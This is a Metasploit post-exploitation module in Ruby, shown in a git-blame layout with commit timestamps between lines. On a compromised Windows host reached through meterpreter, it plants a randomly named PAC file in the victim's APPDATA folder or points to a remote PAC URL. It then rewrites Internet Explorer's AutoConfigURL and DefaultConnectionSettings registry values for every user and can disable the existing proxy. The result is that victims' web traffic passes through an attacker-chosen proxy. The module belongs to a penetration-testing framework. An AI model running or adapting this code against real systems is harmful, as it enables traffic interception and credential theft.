2013-12-03 21:23:09 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
2013-12-11 18:05:12 +00:00
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
|
2013-12-03 21:23:09 +00:00
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
2013-12-10 02:07:40 +00:00
|
|
|
include Msf::Post::Windows::Priv
|
|
|
|
include Msf::Post::File
|
|
|
|
include Msf::Post::Windows::Registry
|
2013-12-03 21:23:09 +00:00
|
|
|
|
2013-12-10 02:07:40 +00:00
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Windows Manage Proxy PAC File',
|
|
|
|
'Description' => %q{
|
2013-12-11 17:49:29 +00:00
|
|
|
This module configures Internet Explorer to use a PAC proxy file. By using the LOCAL_PAC
|
2013-12-16 20:57:33 +00:00
|
|
|
option, a PAC file will be created on the victim host. It's also possible to provide a
|
2013-12-11 17:49:29 +00:00
|
|
|
remote PAC file (REMOTE_PAC option) by providing the full URL.
|
|
|
|
},
|
2013-12-10 02:07:40 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
|
|
|
|
'References' =>
|
2013-12-11 17:49:29 +00:00
|
|
|
[
|
|
|
|
[ 'URL', 'https://www.youtube.com/watch?v=YGjIlbBVDqE&hd=1' ],
|
|
|
|
[ 'URL', 'http://blog.scriptmonkey.eu/bypassing-group-policy-using-the-windows-registry' ]
|
|
|
|
],
|
2014-06-11 20:10:33 +00:00
|
|
|
'Platform' => 'win',
|
2013-12-10 02:07:40 +00:00
|
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
|
|
))
|
2013-12-03 21:23:09 +00:00
|
|
|
|
2013-12-10 02:07:40 +00:00
|
|
|
register_options(
|
|
|
|
[
|
2013-12-11 17:49:29 +00:00
|
|
|
OptPath.new('LOCAL_PAC', [false, 'Local PAC file.' ]),
|
|
|
|
OptString.new('REMOTE_PAC', [false, 'Remote PAC file. (Ex: http://192.168.1.20/proxy.pac)' ]),
|
|
|
|
OptBool.new('DISABLE_PROXY', [true, 'Disable the proxy server.', false]),
|
|
|
|
OptBool.new('AUTO_DETECT', [true, 'Automatically detect settings.', false])
|
2013-12-10 02:07:40 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
2013-12-03 21:23:09 +00:00
|
|
|
|
2013-12-10 02:07:40 +00:00
|
|
|
def run
|
|
|
|
if datastore['LOCAL_PAC'].blank? and datastore['REMOTE_PAC'].blank?
|
2013-12-11 17:49:29 +00:00
|
|
|
print_error("You must set a remote or local PAC file. Aborting...")
|
2013-12-10 02:07:40 +00:00
|
|
|
return
|
|
|
|
end
|
2013-12-03 21:23:09 +00:00
|
|
|
|
2013-12-10 02:07:40 +00:00
|
|
|
if datastore['REMOTE_PAC']
|
|
|
|
@remote = true
|
2013-12-11 17:49:29 +00:00
|
|
|
print_status("Setting automatic configuration script from a remote PAC file ...")
|
|
|
|
res = enable_proxypac(datastore['REMOTE_PAC'])
|
|
|
|
unless res
|
|
|
|
print_error("Error while setting an automatic configuration script. Aborting...")
|
|
|
|
return
|
|
|
|
end
|
2013-12-10 02:07:40 +00:00
|
|
|
else
|
2013-12-11 17:49:29 +00:00
|
|
|
@remote = false
|
|
|
|
print_status("Setting automatic configuration script from local PAC file ...")
|
2013-12-10 02:07:40 +00:00
|
|
|
pac_file = create_pac(datastore['LOCAL_PAC'])
|
2013-12-11 17:49:29 +00:00
|
|
|
unless pac_file
|
|
|
|
print_error("There were problems creating the PAC proxy file. Aborting...")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
res = enable_proxypac(pac_file)
|
|
|
|
unless res
|
|
|
|
print_error("Error while setting an automatic configuration script. Aborting...")
|
|
|
|
return
|
|
|
|
end
|
2013-12-10 02:07:40 +00:00
|
|
|
end
|
2013-12-03 21:23:09 +00:00
|
|
|
|
2013-12-11 17:49:29 +00:00
|
|
|
print_good("Automatic configuration script configured...")
|
|
|
|
|
|
|
|
if datastore['AUTO_DETECT']
|
|
|
|
print_status("Enabling Automatically Detect Settings...")
|
|
|
|
unless auto_detect_on
|
|
|
|
print_error("Failed to enable Automatically Detect Settings. Proceeding anyway...")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
if datastore['DISABLE_PROXY']
|
|
|
|
print_status("Disabling the Proxy Server...")
|
|
|
|
unless disable_proxy
|
|
|
|
print_error("Failed to disable Proxy Server. Proceeding anyway...")
|
|
|
|
end
|
|
|
|
end
|
2013-12-10 02:07:40 +00:00
|
|
|
end
|
2013-12-03 21:23:09 +00:00
|
|
|
|
2013-12-10 02:07:40 +00:00
|
|
|
def create_pac(local_pac)
|
2013-12-19 01:43:59 +00:00
|
|
|
pac_file = session.sys.config.getenv("APPDATA") << "\\" << Rex::Text.rand_text_alpha((rand(8)+6)) << ".pac"
|
2013-12-10 02:07:40 +00:00
|
|
|
conf_pac = ""
|
2013-12-03 21:23:09 +00:00
|
|
|
|
2013-12-10 02:07:40 +00:00
|
|
|
if ::File.exists?(local_pac)
|
|
|
|
conf_pac << ::File.open(local_pac, "rb").read
|
|
|
|
else
|
|
|
|
print_error("Local PAC file not found.")
|
|
|
|
return false
|
|
|
|
end
|
2013-12-03 21:23:09 +00:00
|
|
|
|
2013-12-10 02:07:40 +00:00
|
|
|
if write_file(pac_file,conf_pac)
|
2013-12-11 17:49:29 +00:00
|
|
|
print_status("PAC proxy configuration file written to #{pac_file}")
|
2013-12-10 02:07:40 +00:00
|
|
|
return pac_file
|
|
|
|
else
|
|
|
|
return false
|
|
|
|
end
|
2013-12-11 17:49:29 +00:00
|
|
|
|
2013-12-10 02:07:40 +00:00
|
|
|
end
|
2013-12-03 21:23:09 +00:00
|
|
|
|
2013-12-10 02:07:40 +00:00
|
|
|
def enable_proxypac(pac)
|
2013-12-11 17:49:29 +00:00
|
|
|
proxy_pac_enabled = false
|
|
|
|
|
2013-12-10 02:07:40 +00:00
|
|
|
registry_enumkeys('HKU').each do |k|
|
|
|
|
next unless k.include? "S-1-5-21"
|
|
|
|
next if k.include? "_Classes"
|
2013-12-11 17:49:29 +00:00
|
|
|
|
2013-12-10 02:07:40 +00:00
|
|
|
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
|
|
|
|
value_auto = "AutoConfigURL"
|
|
|
|
file = (@remote) ? "#{pac}" : "file://#{pac}"
|
2013-12-11 17:49:29 +00:00
|
|
|
|
2013-12-10 02:07:40 +00:00
|
|
|
begin
|
2013-12-11 17:49:29 +00:00
|
|
|
res = registry_setvaldata(key,value_auto,file,"REG_SZ")
|
|
|
|
rescue ::RuntimeError, Rex::TimeoutError
|
2013-12-10 02:07:40 +00:00
|
|
|
next
|
|
|
|
end
|
2013-12-11 17:49:29 +00:00
|
|
|
|
|
|
|
if res.nil? # Rex::Post::Meterpreter::RequestError
|
|
|
|
next
|
|
|
|
end
|
|
|
|
|
|
|
|
if change_connection(16,'05',key + '\\Connections')
|
|
|
|
proxy_pac_enabled = true
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
if proxy_pac_enabled
|
|
|
|
return true
|
|
|
|
else
|
|
|
|
return false
|
2013-12-10 02:07:40 +00:00
|
|
|
end
|
|
|
|
end
|
2013-12-04 10:45:37 +00:00
|
|
|
|
2013-12-11 17:49:29 +00:00
|
|
|
def auto_detect_on
|
|
|
|
auto_detect_enabled = false
|
|
|
|
|
2013-12-10 02:07:40 +00:00
|
|
|
registry_enumkeys('HKU').each do |k|
|
|
|
|
next unless k.include? "S-1-5-21"
|
|
|
|
next if k.include? "_Classes"
|
|
|
|
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings\\Connections"
|
2013-12-11 17:49:29 +00:00
|
|
|
if change_connection(16,'0D',key)
|
|
|
|
print_good ("Automatically Detect Settings on.")
|
|
|
|
auto_detect_enabled = true
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
if auto_detect_enabled
|
|
|
|
return true
|
|
|
|
else
|
|
|
|
return false
|
2013-12-10 02:07:40 +00:00
|
|
|
end
|
|
|
|
end
|
2013-12-04 10:45:37 +00:00
|
|
|
|
2013-12-11 17:49:29 +00:00
|
|
|
def disable_proxy
|
2013-12-10 02:07:40 +00:00
|
|
|
value_enable = "ProxyEnable"
|
|
|
|
profile = false
|
2013-12-11 17:49:29 +00:00
|
|
|
|
2013-12-10 02:07:40 +00:00
|
|
|
registry_enumkeys('HKU').each do |k|
|
|
|
|
next unless k.include? "S-1-5-21"
|
|
|
|
next if k.include? "_Classes"
|
|
|
|
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
|
|
|
|
begin
|
|
|
|
registry_setvaldata(key,value_enable,0,"REG_DWORD")
|
|
|
|
profile = true
|
2013-12-11 17:49:29 +00:00
|
|
|
rescue ::RuntimeError, Rex::TimeoutError
|
2013-12-10 02:07:40 +00:00
|
|
|
next
|
|
|
|
end
|
|
|
|
end
|
2013-12-11 17:49:29 +00:00
|
|
|
|
|
|
|
if profile
|
|
|
|
print_good("Proxy disabled.")
|
|
|
|
return true
|
|
|
|
else
|
|
|
|
return false
|
|
|
|
end
|
2013-12-10 02:07:40 +00:00
|
|
|
end
|
2013-12-04 10:45:37 +00:00
|
|
|
|
2013-12-11 17:49:29 +00:00
|
|
|
def change_connection(offset, value, key)
|
2013-12-10 02:07:40 +00:00
|
|
|
value_default = "DefaultConnectionSettings"
|
|
|
|
begin
|
2013-12-11 17:49:29 +00:00
|
|
|
value_con = registry_getvaldata(key, value_default)
|
2013-12-10 02:07:40 +00:00
|
|
|
binary_data = value_con.unpack('H*')[0]
|
|
|
|
binary_data[offset,2] = value
|
2013-12-11 17:49:29 +00:00
|
|
|
registry_setvaldata(key, value_default, ["%x" % binary_data.to_i(16)].pack("H*"), "REG_BINARY")
|
|
|
|
rescue ::RuntimeError, Rex::TimeoutError
|
2013-12-10 02:07:40 +00:00
|
|
|
return false
|
|
|
|
end
|
2013-12-11 17:49:29 +00:00
|
|
|
|
|
|
|
return true
|
2013-12-10 02:07:40 +00:00
|
|
|
end
|
2013-12-11 17:49:29 +00:00
|
|
|
|
2013-12-03 21:23:09 +00:00
|
|
|
end
|